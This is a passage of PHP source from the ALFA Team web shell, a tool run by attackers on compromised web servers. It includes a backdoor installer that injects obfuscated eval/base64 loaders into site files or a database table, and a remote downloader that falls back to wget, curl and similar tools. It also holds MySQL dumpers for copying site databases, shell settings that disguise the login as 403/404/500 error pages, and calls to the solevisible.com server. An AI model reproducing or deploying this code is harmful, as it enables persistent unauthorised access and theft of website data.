onclick="alfa_can_add_opt=true;this.href=\'#action=options&path=\'+c_+\'&opt=aboutus\';g(\'aboutus\',null,\'\',\'\',\'\');d.querySelector(\'.opt-title\').innerHTML=this.innerHTML;">About Us</a>\'.(!empty($_COOKIE[\'AlfaUser\']) && !empty($_COOKIE[\'AlfaPass\']) ? \'<a href="javascript:void(0);" onclick="alfaLogOut();"><font color="red">LogOut</font></a>\':\'\').\'</div></div><div id="filesman_tabs"><div onmouseover="alfaFilesmanTabShowTitle(this,event);" onmouseout="alfaFilesmanTabHideTitle(this,event);" fm_counter="1" path="\'.$GLOBALS[\'cwd\'].\'" fm_id="1" id="filesman_tab_1" class="filesman_tab filesman-tab-active" onclick="filesmanTabController(this);"><img class="folder-tab-icon" src="http://solevisible.com/icons/menu/folder2.svg"> <span>File manager</span></div><div style="display:inline-block;" id="filesman_tabs_child"></div><div id="filesman_new_tab" class="filesman_tab" style="background: maroon;" onClick="alfaFilesManNewTab(c_,\'/\',1);">New Tab +</div></div>\';}else{
@error_reporting(E_ALL ^ E_NOTICE);
@ini_set(\'error_log\',NULL);
@ini_set(\'log_errors\',0);
@ini_set(\'max_execution_time\',0);
@ini_set(\'magic_quotes_runtime\', 0);
@set_time_limit(0);
}}
function alfalogout(){
@setcookie("AlfaUser", null, 2012);
@setcookie("AlfaPass", null, 2012);
unset($_COOKIE[\'AlfaUser\'],$_COOKIE[\'AlfaPass\']);
echo("ok");
}
function showAnimation($name){
	return \'-webkit-animation: \'.$name.\' 800ms ease-in-out forwards;-moz-animation: \'.$name.\' 800ms ease-in-out forwards;-ms-animation: \'.$name.\' 800ms ease-in-out forwards;animation: \'.$name.\' 800ms ease-in-out forwards;\';
}
function __showicon($r){
	$s[\'btn\']=\'http://solevisible.com/images/btn.png\';
	$s[\'alfamini\']=\'http://solevisible.com/images/alfamini.png\';
	$s[\'loader\']=\'http://solevisible.com/images/loader.svg\';
	//return \'data:image/png;base64,\'.__get_resource($s[$r]);
	return $s[$r];
}
function alfainbackdoor(){
alfahead();
echo \'<div class=header><center><p><div class="txtfont_header">| Install BackDoor |</div></p><h3><a href=javascript:void(0) onclick="g(\'inbackdoor\',null,\'file\')">| In File | </a><a href=javascript:void(0) onclick="g(\'inbackdoor\',null,\'db\')">| In DataBase | </a></h3></center>\';
$error = \'<font color="red">Error In Inject BackDoor...!<br>File Loader is not Writable Or Not Exists...!</font>\';
$success= \'<font color="green">Success...!\';
$textarea = "<div style=\'display:none;\' id=\'backdoor_textarea\'><div class=\'txtfont\'>Your Shell:</div><p><textarea name=\'shell\' rows=\'19\' cols=\'103\'><?php
	echo(\'Alfa Team is Here...!\');
?></textarea></p></div>";
$select = "<div class=\'txtfont\'>Use:</div> <select name=\'method\' style=\'width:155px;\' onChange=\'inBackdoor(this);\'><option value=\'alfa\'>Alfa Team Uploader</option><option value=\'my\'>My Private Shell</option></select>";
$cwd = \'Example: /home/alfa/public_html/index.php\';
if($_POST[\'alfa1\']==\'file\'){
echo("<center><p><div class=\'txtfont_header\'>| In File |</div></p><p><form onsubmit=\"g(\'inbackdoor\',null,\'file\',this.method.value,this.file.value,this.shell.value,this.key.value);return false;\">{$select} <div class=\'txtfont\'>Backdoor Loader:</div> <input type=\'text\' name=\'file\' size=\'50\' placeholder=\'{$cwd}\'> <div class=\'txtfont\'>Key: </div> <input type=\'text\' name=\'key\' size=\'10\' value=\'alfa\'> <input type=\'submit\' value=\' \'>{$textarea}</form></p></center>");
if($_POST[\'alfa2\']!=\'\'&&$_POST[\'alfa3\']!=\'\'&&$_POST[\'alfa4\']!=\'\'){
$method = $_POST[\'alfa2\'];
$file = $_POST[\'alfa3\'];
$shell = $_POST[\'alfa4\'];
$key = str_replace(array(\'"\',\'\'\'),\'\',trim($_POST[\'alfa5\']));
if($key==\'\')$key=\'alfa\';
if($method==\'my\'){$shell=__ZW5jb2Rlcg($shell);}else{$shell=$GLOBALS[\'__ALFA_SHELL_CODE\'];}
$code = \'<?php if(isset($_GET["alfa"])&&$_GET["alfa"]=="\'.$key.\'"){$func="cr"."ea"."te_"."fun"."ction";$x=$func("\$c","e"."v"."al"."(\'?>\'.base"."64"."_dec"."ode(\$c));");$x("\'.$shell.\'");exit;}?>\';
if(@is_file($file)&&@is_writable($file)){@file_put_contents($file,$code."
".@file_get_contents($file));__alert($success."<br>Run With: ".basename($file)."?alfa=".$key.\'</font>\');}else{__alert($error);}}}
if($_POST[\'alfa1\']==\'db\'){
echo("<center><p><div class=\'txtfont_header\'>| In DataBase |</div></p>".getConfigHtml(\'all\')."<p><form onsubmit=\"g(\'inbackdoor\',null,\'db\',this.db_host.value,this.db_username.value,this.db_password.value,this.db_name.value,this.file.value,this.method.value,this.shell.value,this.key.value);return false;\">");
$table = array(\'td1\' =>
array(\'color\' => \'FFFFFF\', \'tdName\' => \'db_host : \', \'inputName\' => \'db_host\', \'id\' => \'db_host\', \'inputValue\' => \'localhost\', \'inputSize\' => \'50\'),
\'td2\' =>
array(\'color\' => \'FFFFFF\', \'tdName\' => \'db_username : \', \'inputName\' => \'db_username\', \'id\' => \'db_user\', \'inputValue\' => \'\', \'inputSize\' => \'50\'),
\'td3\' =>
array(\'color\' => \'FFFFFF\', \'tdName\' => \'db_password : \', \'inputName\' => \'db_password\', \'id\' => \'db_pw\', \'inputValue\' => \'\', \'inputSize\' => \'50\'),
\'td4\' =>
array(\'color\' => \'FFFFFF\', \'tdName\' => \'db_name : \', \'inputName\' => \'db_name\', \'id\' => \'db_name\', \'inputValue\' => \'\', \'inputSize\' => \'50\'),
\'td5\' =>
array(\'color\' => \'FFFFFF\', \'tdName\' => \'Backdoor Loader: \', \'inputName\' => \'file\', \'inputValue\' => $cwd, \'inputSize\' => \'50\', \'placeholder\' => true),
\'td6\' =>
array(\'color\' => \'FFFFFF\', \'tdName\' => \'Key: \', \'inputName\' => \'key\', \'inputValue\' => \'alfa\', \'inputSize\' => \'50\')
);
create_table($table);
echo("<p>{$select}</p>");
echo($textarea);
echo("<p><input type=\'submit\' value=\' \'></p></form></p></center>");
if($_POST[\'alfa2\']!=\'\'&&$_POST[\'alfa3\']!=\'\'&&$_POST[\'alfa5\']!=\'\'&&$_POST[\'alfa6\']!=\'\'){
$dbhost = $_POST[\'alfa2\'];
$dbuser = $_POST[\'alfa3\'];
$dbpw = $_POST[\'alfa4\'];
$dbname = $_POST[\'alfa5\'];
$file = $_POST[\'alfa6\'];
$method = $_POST[\'alfa7\'];
$shell = $_POST[\'alfa8\'];
$key = str_replace(array(\'"\',\'\'\'),\'\',trim($_POST[\'alfa9\']));
if($key==\'\')$key=\'alfa\';
if($method==\'my\'){$shell=__ZW5jb2Rlcg($shell);}else{$shell=$GLOBALS[\'__ALFA_SHELL_CODE\'];}
if($conn = mysqli_connect($dbhost,$dbuser,$dbpw,$dbname)){
$code = \'<?php if(isset($_GET["alfa"])&&$_GET["alfa"]=="\'.$key.\'"){$conn=mysqli_connect("\'.str_replace(\'"\',\'\"\',$dbhost).\'","\'.str_replace(\'"\',\'\"\',$dbuser).\'","\'.str_replace(\'"\',\'\"\',$dbpw).\'","\'.str_replace(\'"\',\'\"\',$dbname).\'");$q=mysqli_query($conn,"SELECT `code` FROM alfa_bc LIMIT 0,1");$r=mysqli_fetch_assoc($q);$func="cr"."ea"."te_"."fun"."ction";$x=$func("\$c","e"."v"."al"."(\'?>\'.base"."64"."_dec"."ode(\$c));");$x($r["code"]);exit;}?>\';
if(@is_file($file)&&@is_writable($file)){
@mysqli_query($conn,\'DROP TABLE `alfa_bc`\');
@mysqli_query($conn,\'CREATE TABLE `alfa_bc` (code LONGTEXT)\');
@mysqli_query($conn,\'INSERT INTO `alfa_bc` VALUES("\'.$shell.\'")\');
@file_put_contents($file,$code."
".@file_get_contents($file));
__alert($success."<br>Run With: ".basename($file)."?alfa=".$key.\'</font>\');}else{__alert($error);}}}}
echo(\'</div>\');
alfafooter();
}
function alfawhois(){
echo("<div class=\'header\'><center><p><div class=\'txtfont_header\'>| Whois |</div></p><p><form onsubmit=\"g(\'whois\',null,this.url.value,\'>>\');return false;\"><div class=\'txtfont\'>Url: </div> <input type=\'text\' name=\'url\' style=\'text-align:center;\' size=\'50\' placeholder=\'google.com\'> <input type=\'submit\' value=\' \'></form></p></center>");
if($_POST[\'alfa2\']==\'>>\'&&!empty($_POST[\'alfa1\'])){
$site = str_replace(array(\'http://\',\'https://\',\'www.\',\'ftp://\'),\'\',$_POST[\'alfa1\']);
$target = \'http://api.whoapi.com/?apikey=093b6cb9e6ea724e101928647df3e009&r=whois&domain=\'.$site;
$data = @file_get_contents($target);
if($data==\'\'){$get = new AlfaCURL();$get->ssl = true;$data = $get->Send($target);}
$target = @json_decode($data,true);
echo __pre();
if(is_array($target)){echo($target["whois_raw"]);}else{echo alfaEx("whois ".$site);}}
echo("</div>");
}
function alfaremotedl(){
alfahead();
echo("<div class=\'header\'><center><p><div class=\'txtfont_header\'>| Upload From Url |</div></p><p>
<form onsubmit=\"g(\'remotedl\',null,this.d.value,this.p.value,\'>>\');return false;\">
<p><div class=\'txtfont\'>Url: </div>&nbsp;&nbsp;&nbsp;<input type=\'text\' name=\'d\' size=\'50\'></p>
<div class=\'txtfont\'>Path:</div> <input type=\'text\' name=\'p\' size=\'50\' value=\'".$GLOBALS[\'cwd\']."\'><p><input type=\'submit\' value=\' \'></p>
</form></p></center>");
if(isset($_POST[\'alfa1\'],$_POST[\'alfa2\'],$_POST[\'alfa3\'])&&!empty($_POST[\'alfa1\'])&&$_POST[\'alfa3\']==\'>>\'){
echo __pre();
$url = $_POST[\'alfa1\'];
$path = $_POST[\'alfa2\'];
echo(\'<center>\');
if(__download($url,$path)){
echo(\'<font color="green">Success...!</font>\');
}else{
echo(\'<font color="red">Error...!</font>\');
}
echo(\'</center>\');
}
echo("</div>");
alfafooter();
}
function __download($url,$path=false){
if(!preg_match("/[a-z]+:\/\/.+/",$url)) return false;
$saveas = basename(rawurldecode($url));
if($path){$saveas=$path.$saveas;}
if($content = __read_file($url)){
if(@is_file($saveas))@unlink($saveas);
if(__write_file($saveas, $content)){return true;}}
$buff = alfaEx("wget ".$url." -O ".$saveas);
if(@is_file($saveas)) return true;
$buff = alfaEx("curl ".$url." -o ".$saveas);
if(@is_file($saveas)) return true;
$buff = alfaEx("lwp-download ".$url." ".$saveas);
if(@is_file($saveas)) return true;
$buff = alfaEx("lynx -source ".$url." > ".$saveas);
if(@is_file($saveas)) return true;
$buff = alfaEx("GET ".$url." > ".$saveas);
if(@is_file($saveas)) return true;
$buff = alfaEx("links -source ".$url." > ".$saveas);
if(@is_file($saveas)) return true;
$buff = alfaEx("fetch -o ".$saveas." -p ".$url);
if(@is_file($saveas)) return true;
return false;
}
function clean_string($string){
  if(function_exists("iconv")){
	  $s = trim($string);
	  $s = iconv("UTF-8", "UTF-8//IGNORE", $s);
  }
  return $s;
}
function __read_file($file, $boom = true){
$content = false;
if($fh = @fopen($file, "rb")){
$content = "";
while(!feof($fh)){
$content .= $boom ? clean_string(fread($fh, 8192)) : fread($fh, 8192);
}
@fclose($fh);
}
if(empty($content)||!$content){
	$content = alfaEx("cat \'".addslashes($file)."\'");
}
return $content;
}
function alfaMarket(){
echo "<div class=\'header\'>";
$curl = new AlfaCURL();
$content = $curl->Send("http://solevisible.com/market.php");
$data = @json_decode($content, true);
if(!empty($data)){
if($data["status"] == "open"){
	echo $data["content"];
}else{
	echo $data["error_msg"];
}
}else{
	echo "<div style=\'text-align:center;font-size:20px;\'>Cant connect to the alfa market....! try later.</div>";
}
echo "</div>";
}
function alfaSettings(){
alfahead();
AlfaNum(6,7,8,9,10);
echo \'<div class=header><center><p><div class="txtfont_header">| Settings |</div></p><h3><a href=javascript:void(0) onclick="g(\'settings\',null,null,null,null,null,null,null,null,\'main\')">| Generall Setting | </a></h3></center>\';
if($_POST["alfa8"] == "main"){
echo \'<p><center><div class="txtfont_header">| Settings |</div></p><form onSubmit="reloadSetting(this);return false;" method=\'post\'>\';
$lg_array = array(\'0\'=>\'No\',\'1\'=>\'Yes\');
$penc_array = array(\'false\'=>\'No\',\'true\'=>\'Yes\');
$protect_html = "";
$icon_html = "";
$postEnc_html = "";
$login_html = "";
$cgiapi_html = "";
foreach($lg_array as $key=>$val)$protect_html .= \'<option value="\'.$key.\'" \'.($GLOBALS[\'DB_NAME\'][\'safemode\']==\'1\'?\'selected\':\'\').\'>\'.$val.\'</option>\';
foreach($lg_array as $key=>$val)$icon_html .= \'<option value="\'.$key.\'" \'.($GLOBALS[\'DB_NAME\'][\'show_icons\']==\'1\'?\'selected\':\'\').\'>\'.$val.\'</option>\';
foreach($penc_array as $key=>$val)$cgiapi_html .= \'<option value="\'.$key.\'" \'.(!empty($_POST[\'alfa9\'])&&$_POST[\'alfa9\']==$key?"selected":($GLOBALS["DB_NAME"]["cgi_api"]&&empty($_POST[\'alfa9\'])?\'selected\':\'\')).\'>\'.$val.\'</option>\';
foreach($penc_array as $key=>$val)$postEnc_html .= \'<option value="\'.$key.\'" \'.(!empty($_POST[\'alfa7\'])&&$_POST[\'alfa7\']==$key?"selected":(__ALFA_POST_ENCRYPTION__&&empty($_POST[\'alfa7\'])?\'selected\':\'\')).\'>\'.$val.\'</option>\';
$lg_array = array("gui"=>"GUI","500"=>"500 Internal Server Error","403"=>"403 Forbidden","404"=>"404 NotFound");
foreach($lg_array as $key=>$val)$login_html .= \'<option value="\'.$key.\'" \'.($GLOBALS[\'DB_NAME\'][\'login_page\']==$key?\'selected\':\'\').\'>\'.$val.\'</option>\';
echo \'\';
echo \'<table border="1"><tbody><tr><td><div class="tbltxt" style="color:#FFFFFF">Protect:</div></td><td><select name="protect" style="width:100%;">\'.$protect_html.\'</select></td></tr><tr><td><div class="tbltxt" style="color:#FFFFFF">Cgi Api:</div></td><td><select name="cgi_api" style="width:100%;">\'.$cgiapi_html.\'</select></td></tr><tr><td><div class="tbltxt" style="color:#FFFFFF">Post Encryption:</div></td><td><select name="post_encrypt" style="width:100%;">\'.$postEnc_html.\'</select></td></tr><tr><td><div class="tbltxt" style="color:#FFFFFF">Show Icons:</div></td><td><select name="icon" style="width:100%;">\'.$icon_html.\'</select></td></tr><tr><tr><td><div class="tbltxt" style="color:#FFFFFF">login Page:</div></td><td><select style="width:100%;" name="lgpage">\'.$login_html.\'</select></td></tr><tr><td><div class="tbltxt" style="color:#FFFFFF">UserName:</div></td><td><input type="text" style="width:95%;" name="username" value="\'.(empty($_POST[\'alfa3\'])?$GLOBALS[\'DB_NAME\'][\'user\']:$_POST[\'alfa3\']).\'" placeholder="solevisible"></td></tr><tr><td><div class="tbltxt" style="color:#FFFFFF">Password:</div></td><td><input type="text" style="width:95%;" name="password" placeholder="*****"></td></tr></tbody></table><input type="hidden" name="e" value="\'.$GLOBALS[\'DB_NAME\'][\'safemode\'].\'"><input type="hidden" name="s" value="\'.$GLOBALS[\'DB_NAME\'][\'show_icons\'].\'"><p><input type="submit" name="btn" value=" "></p></form></center>\';
if($_POST[\'alfa5\']==\'>>\'){
echo __pre();
if(!empty($_POST[\'alfa3\'])){
$protect = $_POST[\'alfa1\'];
$lgpage = $_POST[\'alfa2\'];
$username = $_POST[\'alfa3\'];
$password = md5($_POST[\'alfa4\']);
$icon = $_POST[\'alfa6\'];
$post_encrypt = $_POST[\'alfa7\'];
$cgi_api_val = $_POST[\'alfa9\'];
@chdir($GLOBALS[\'home_cwd\']);
$basename = @basename($_SERVER[\'PHP_SELF\']);
$data = @file_get_contents($basename);
$user_rand = $GLOBALS["DB_NAME"]["user_rand"];
$pass_rand = $GLOBALS["DB_NAME"]["pass_rand"];
$login_page_rand = $GLOBALS["DB_NAME"]["login_page_rand"];
$safemode_rand = $GLOBALS["DB_NAME"]["safemode_rand"];
$show_icons_rand = $GLOBALS["DB_NAME"]["show_icons_rand"];
$post_encryption_rand = $GLOBALS["DB_NAME"]["post_encryption_rand"];
$cgi_api_rand = $GLOBALS["DB_NAME"]["cgi_api_rand"];
$find_user = \'/\'\'.$user_rand.\'\'(.*?),/i\';
$find_pw = \'/\'\'.$pass_rand.\'\'(.*?),/i\';
$find_lg = \'/\'\'.$login_page_rand.\'\'(.*?),/i\';
$find_p = \'/\'\'.$safemode_rand.\'\'(.*?),/i\';
$icons = \'/\'\'.$show_icons_rand.\'\'(.*?),/i\';
$postEnc = \'/\'\'.$post_encryption_rand.\'\'(.*?),/i\';
$cgi_api_reg = \'/\'\'.$cgi_api_rand.\'\'(.*?),/i\';
if(!empty($username)&&preg_match($find_user,$data,$e)){
$new = \'\'\'.$user_rand.\'\' => \'\'.$username.\'\',\';
$data = str_replace($e[0],$new,$data);
}
if(!empty($_POST[\'alfa4\'])&&preg_match($find_pw,$data,$e)){
$new = \'\'\'.$pass_rand.\'\' => \'\'.$password.\'\',\';
$data = str_replace($e[0],$new,$data);
}
if(!empty($lgpage)&&preg_match($find_lg,$data,$e)){
$new = \'\'\'.$login_page_rand.\'\' => \'\'.$lgpage.\'\',\';
$data = str_replace($e[0],$new,$data);
}
if(!empty($find_p)&&preg_match($find_p,$data,$e)){
$new = \'\'\'.$safemode_rand.\'\' => \'\'.$protect.\'\',\';
$data = str_replace($e[0],$new,$data);
}
if(preg_match($icons,$data,$e)){
$new = \'\'\'.$show_icons_rand.\'\' => \'\'.$icon.\'\',\';
$data = str_replace($e[0],$new,$data);
}
if(preg_match($postEnc,$data,$e)){
$new = \'\'\'.$post_encryption_rand.\'\' => \'.$post_encrypt.\',\';
$data = str_replace($e[0],$new,$data);
}
if(preg_match($cgi_api_reg,$data,$e)){
$new = \'\'\'.$cgi_api_rand.\'\' => \'.$cgi_api_val.\',\';
$data = str_replace($e[0],$new,$data);
}
if(@file_put_contents($basename,$data)){
echo \'<b>UserName: </b><font color="green"><b>\'.$username.\'</b></font><br /><b>Password: </b><font color="green"><b>\'.$_POST[\'alfa4\'].\'</b></font><script>post_encryption_mode = \'.$post_encrypt.\';</script>\';
}else{
__alert("<span style=\'color:red;\'>File has no edit access...!</span>");
}
}else{
__alert("<span style=\'color:red;\'>UserName is Empty !</span>");
}
}
}elseif($_POST["alfa8"] == "color"){
echo(\'<center><p><div class="txtfont_header">| Custom Color |</div></p><form onSubmit="reloadColors();return false;" method=\'post\'>\');
echo \'<table border="1"><tbody>\';
$template = \'<tr><td style="text-align:center;"><a href="http://solevisible.com/customcolors/{help}.png" target="_blank"><font color="#00FF00">Help</font></a></td><td style="text-align:center;"><div class="tbltxt">{index}</div></td><td><div class="tbltxt" style="margin-left:5px;">{target}:</div></td><td><input style="width:60px;" multi="{multi}" id="gui_{target}" onChange="colorHandler(this);" target=".{target}" type="color" value="{color}"></td><td><input type="text" style="text-align:center;" multi="{multi}" onkeyup="colorHandlerKey(this);" target=".{target}" id="input_{target}" class="colors_input" placeholder="#ffffff" value="{color}"></td></tr>\';
$x = 1;
foreach($GLOBALS[\'__ALFA_COLOR__\'] as $key => $value){
	$multi = "";
	if(is_array($value)){
		if(isset($value["multi_selector"])){
			$multi = __ZW5jb2Rlcg(json_encode($value));
		}
	}
	$value = alfa_getColor($key);
	$help = strtolower(str_replace(array(":", "+"), array("_", "_plus"), $key));
	echo str_replace(array("{index}", "{target}", "{color}", "{multi}", "{help}"), array($x++, $key, $value, $multi, $help), $template);
}
echo \'<tr><td style="text-align:center;">-</td><td style="text-align:center;"><div class="tbltxt">*</div></td><td><div style="margin-left:5px;" class="tbltxt">Use Default Color:</div></td><td></td><td><center><input type="checkbox" id="use_default_color" value="1"></center></td></tr>\';

echo \'</tbody></table><p><input type="submit" name="btn" value=" "></p></form><p><button style="padding:4px;;margin-right:20px;" onclick="$(\'importFileBtn\').click();" class="button"> Import </button> <button style="padding:4px;margin-left:20px;" onclick="g(\'settings\',null,null,null,null,null,null,null,\'export\',\'color\')" class="button"> Export </button></center></p>\';
if($_POST[\'alfa7\']==\'export\'){
	echo __pre();
	$colors = is_array($GLOBALS["DB_NAME"]["color"])?$GLOBALS["DB_NAME"]["color"]:array();
	$glob_colors = $GLOBALS["__ALFA_COLOR__"];
	$array = array();
	foreach($glob_colors as $k => $v){
		if(isset($colors[$k])&&!empty($colors[$k])&&!$is_default){
			$v = trim($colors[$k]);
		}else{
			$v = trim(is_array($v)?$v["key_color"]:$v);
		}
		$array[$k] = $v;
	}
	$file = "alfa_color_config_".date(\'Y-m-d-h_i_s\').".conf";
	$config = json_encode($array, JSON_PRETTY_PRINT);
	if(!@file_put_contents($file, $config)){
		echo(\'<p><center>Color Config:<br><br><textarea rows="12" cols="70" type="text">\'.$config.\'</textarea></center></p>\');
	}else{
		echo(\'<h3><p><center><a class="actions" href="javascript:void(0);" onclick="g(\'FilesTools\',null,\'\'.$file.\'\', \'download\')"><font color="#0F0">Download Config</font></a></center></p></h3>\');
	}
}
if($_POST[\'alfa2\']==\'>>\'){
	echo __pre();
	$colors = json_decode($_POST["alfa1"],true);
	$array = "";
	$is_default = isset($_POST["alfa3"])&&$_POST["alfa3"]=="1"?true:false;
	$glob_colors = $GLOBALS["__ALFA_COLOR__"];
	foreach($glob_colors as $k => $v){
		if(isset($colors[$k])&&!empty($colors[$k])&&!$is_default){
			$v = trim($colors[$k]);
		}else{
			$v = trim(is_array($v)?$v["key_color"]:$v);
		}
		$array .= \'"\'.trim($k).\'" => "\'.$v.\'",\';
	}
	@chdir($GLOBALS[\'home_cwd\']);
	$basename = @basename($_SERVER[\'PHP_SELF\']);
	$data = @file_get_contents($basename);
	$color = \'/\'color\'(.*?)\),/s\';
	if(preg_match($color,$data,$e)){
		$new = "\'color\' => array(".$array."),";
		$data = str_replace($e[0],$new,$data);
		if(@file_put_contents($basename, $data)){
			echo("<center><p><h3>[+] Success...</h3></p></center><script>location.reload();</script>");
		}else{
			echo("<center><p><h3>[-] We Not have permission to Edit shell...!</h3></p></center>");
		}
	}else{
		echo("<center><p><h3>[-] Error...!</h3></p></center>");
	}
}
}
echo(\'</div>\');
alfafooter();
}
function alfaaboutus(){
alfahead();
echo \'<div class="header">\';
$news = new AlfaCURL();
$about_us = $news->Send("");
if(empty($about_us)){
$about_us = "<pre><center><br>
<font color=\'#FF0000\'>xd</font><br>
</center></pre><iframe src=\'\' frameborder=\'0\' width=\'0\' height=\'0\'></iframe>";
}
echo __pre().$about_us;
echo(\'</div>\');
alfafooter();
}
function alfacoldumper(){
alfahead();
echo(\'<div class="header">\');
AlfaNum(8,9,10);
echo "<center><br><div class=\'txtfont_header\'>| Mysql Column Dumper |</div><br><br>".getConfigHtml(\'all\')."<form method=\'post\' onsubmit=\"var opt_id=this.getAttribute(\'opt_id\');var delimiter=\'json\';try{if($(\'dumper-delimiter-type\').value == \'delimiter\')delimiter=$(\'dumper-delimiter-input\').value}catch(e){};g(\'coldumper\',null,delimiter,JSON.stringify(col_dumper_selected_data[opt_id]),this.db_username.value,this.db_password.value,this.db_name.value,this.dfile.value,this.db_host.value); col_dumper_selected_data[opt_id] = {};return false;\"><p>";
$delimiter = (!empty($_POST[\'alfa1\']) ? $_POST[\'alfa1\'] : \'::\');
$selected_data = json_decode($_POST[\'alfa2\'], true);
$username = ($_POST[\'alfa3\']);
$password = ($_POST[\'alfa4\']);
$dbname = ($_POST[\'alfa5\']);
$dfile = ($_POST[\'alfa6\']);
$host = ($_POST[\'alfa7\']);
$table = array(\'td1\' =>
 array(\'color\' => \'FFFFFF\', \'tdName\' => \'db_host : \', \'inputName\' => \'db_host\', \'id\' => \'db_host\', \'inputValue\' => $host, \'inputSize\' => \'50\'),
 \'td2\' =>
 array(\'color\' => \'FFFFFF\', \'tdName\' => \'db_username : \', \'inputName\' => \'db_username\', \'id\' => \'db_user\', \'inputValue\' => $username, \'inputSize\' => \'50\'),
 \'td3\' =>
 array(\'color\' => \'FFFFFF\', \'tdName\' => \'db_password : \', \'inputName\' => \'db_password\', \'id\' => \'db_pw\', \'inputValue\' => $password, \'inputSize\' => \'50\'),
 \'td4\' =>
 array(\'color\' => \'FFFFFF\', \'tdName\' => \'db_name : \', \'inputName\' => \'db_name\', \'id\' => \'db_name\', \'inputValue\' => $dbname, \'inputSize\' => \'50\'),
 \'td5\' =>
 array(\'color\' => \'FFFFFF\', \'tdName\' => \'Output Path: \', \'inputName\' => \'dfile\', \'inputValue\' => htmlspecialchars($GLOBALS[\'cwd\']), \'inputSize\' => \'50\')
);
create_table($table);
echo "<br><input type=\'submit\' value=\' \' name=\'Submit\'></p></form></center>";
$db = false;
if(!empty($dbname)){
	$db = @mysqli_connect($host, $username, $password, $dbname);
}
if(count($selected_data) > 0){
	if($db){
		if(!is_dir($dfile)){
			$dfile = $GLOBALS[\'cwd\'];
		}
		$tbls = "";
		$ext = \'.txt\';
		if($delimiter == \'json\'){
			$ext = \'.json\';
		}
		foreach ($selected_data as $tbl => $cols) {
			$tables_query = mysqli_query($db, "SELECT ".implode(\',\', $cols)." FROM $tbl");
			$file_name = $dfile.\'/\'.$dbname.\'.\'.$tbl.$ext;
			$fp = fopen($file_name, "w");
			$data = array();
			while($row = mysqli_fetch_array($tables_query, MYSQLI_ASSOC)){
				if($delimiter == "json"){
					$col_arr = array();
					foreach ($row as $key => $value) {
						if(empty($value)){
							$value = "[empty]";
						}
						 $col_arr[$key] = $value;
					}
					$data[$tbl][] = $col_arr;
				}else{
					$data = "";
					foreach ($row as $key => $value) {
						if(empty($value)){
							$value = "[empty]";
						}
						$data .= $value . $delimiter;
					}
					fwrite($fp, $data ."
");
				}
			}
			if($delimiter == "json"){
				fwrite($fp, json_encode($data));
			}
			fclose($fp);
			$tbls .= "Done ~~~> ".$file_name."<br>";
		}
		echo __pre();
		echo "<center><font color=\'#00FF00\'>".$tbls."</font></center>";
	}
}
if(!empty($dbname) && count($selected_data) == 0){
//echo __pre();
if($db){
	echo("<hr><div style=\'text-align:center;margin-bottom:5px;font-weight:bolder;\'><span>[ Select your tables and columns for dumping data ]</span></div>");
	echo("<div style=\'text-align:center;\'><span>Output Type: </span><select id=\'dumper-delimiter-type\' onchange=\'colDumplerSelectType(this);\' name=\'output_type\'><option value=\'delimiter\' selected>delimiter</option><option value=\'json\'>json</option></select><div id=\'coldumper-delimiter-input\' style=\'display:inline;\'><span> Delimiter: </span><input id=\'dumper-delimiter-input\' style=\'text-align:center;\' type=\'text\' name=\'delimiter\' placeholder=\'eg: ,\'></div></div>");
	$data = array();
	$tables_query = mysqli_query($db, "SELECT table_name FROM information_schema.tables WHERE table_schema = database();");
	while($row = mysqli_fetch_array($tables_query, MYSQLI_ASSOC)){
		$data[$row["table_name"]] = array();
		$table_count_q = mysqli_query($db, "SELECT count(*) FROM `".$row[\'table_name\']."`");
		$table_count = mysqli_fetch_row($table_count_q);
		$data[$row["table_name"]]["data_count"] = $table_count[0];
		$columns_query = mysqli_query($db, "SELECT column_name FROM information_schema.columns WHERE table_name = \'".$row[\'table_name\']."\'");
		while($row2 = mysqli_fetch_array($columns_query, MYSQLI_ASSOC)){
			$data[$row["table_name"]]["cols"][] = $row2["column_name"];
		}
	}
	mysqli_close($db);

	echo \'<ul id="myUL">\';
	foreach($data as $tbl => $cols){
	    echo \'<li><span style="color:#00FF00;" class="box">\'.$tbl.\' (\'.$cols["data_count"].\')</span><ul class="nested">\';
	    foreach($cols["cols"] as $col){
	        echo \'<li tbl="\'.$tbl.\'"><span style="color:#00FF00;" tbl="\'.$tbl.\'" class="box sub-box">\' . $col . \'</span></li>\';
	    }
	    echo \'</ul></li>\';
	}
	echo \'</ul>\';
}else{
echo(\'<center>mysqli_connect : Error!</center>\');
}
}
echo(\'</div>\');
alfafooter();
}
function alfaDumper(){
alfahead();
echo(\'<div class="header">\');
AlfaNum(8,9,10);
echo "<center><br><div class=\'txtfont_header\'>| Mysql Database Dumper |</div><br><br>".getConfigHtml(\'all\')."<form method=\'post\' onsubmit=\"g(\'dumper\',null,null,null,this.db_username.value,this.db_password.value,this.db_name.value,this.dfile.value,this.db_host.value); return false;\"><p>";
$table = array(\'td1\' =>
 array(\'color\' => \'FFFFFF\', \'tdName\' => \'db_host : \', \'inputName\' => \'db_host\', \'id\' => \'db_host\', \'inputValue\' => \'localhost\', \'inputSize\' => \'50\'),
 \'td2\' =>
 array(\'color\' => \'FFFFFF\', \'tdName\' => \'db_username : \', \'inputName\' => \'db_username\', \'id\' => \'db_user\', \'inputValue\' => \'\', \'inputSize\' => \'50\'),
 \'td3\' =>
 array(\'color\' => \'FFFFFF\', \'tdName\' => \'db_password : \', \'inputName\' => \'db_password\', \'id\' => \'db_pw\', \'inputValue\' => \'\', \'inputSize\' => \'50\'),
 \'td4\' =>
 array(\'color\' => \'FFFFFF\', \'tdName\' => \'db_name : \', \'inputName\' => \'db_name\', \'id\' => \'db_name\', \'inputValue\' => \'\', \'inputSize\' => \'50\'),
 \'td5\' =>
 array(\'color\' => \'FFFFFF\', \'tdName\' => \'Dump Path: \', \'inputName\' => \'dfile\', \'inputValue\' => htmlspecialchars($GLOBALS[\'cwd\']).\'alfa.sql\', \'inputSize\' => \'50\')
);
create_table($table);
echo "<br><input type=\'submit\' value=\' \' name=\'Submit\'></p></form></center>";
$username = ($_POST[\'alfa3\']);
$password = ($_POST[\'alfa4\']);
$dbname = ($_POST[\'alfa5\']);
$dfile = ($_POST[\'alfa6\']);
$host = ($_POST[\'alfa7\']);
if(!empty($dbname)){
echo __pre();
$msg = "<center>Check this :  <font color=\'red\'>".$dfile."</font></center>";
if(@mysqli_connect($host,$username,$password,$dbname)){
if(strlen(alfaEx("mysqldump"))>0){
alfaEx("mysqldump --single-transaction --host=\"$host\" --user=\"$username\" --password=\"$password\" $dbname > \'".addslashes($dfile)."\'");
echo($msg);
}else{
__alert("Error...!");
}
}else{
echo(\'<center>mysqli_connect : Error!</center>\');
}
}
echo(\'</div>\');
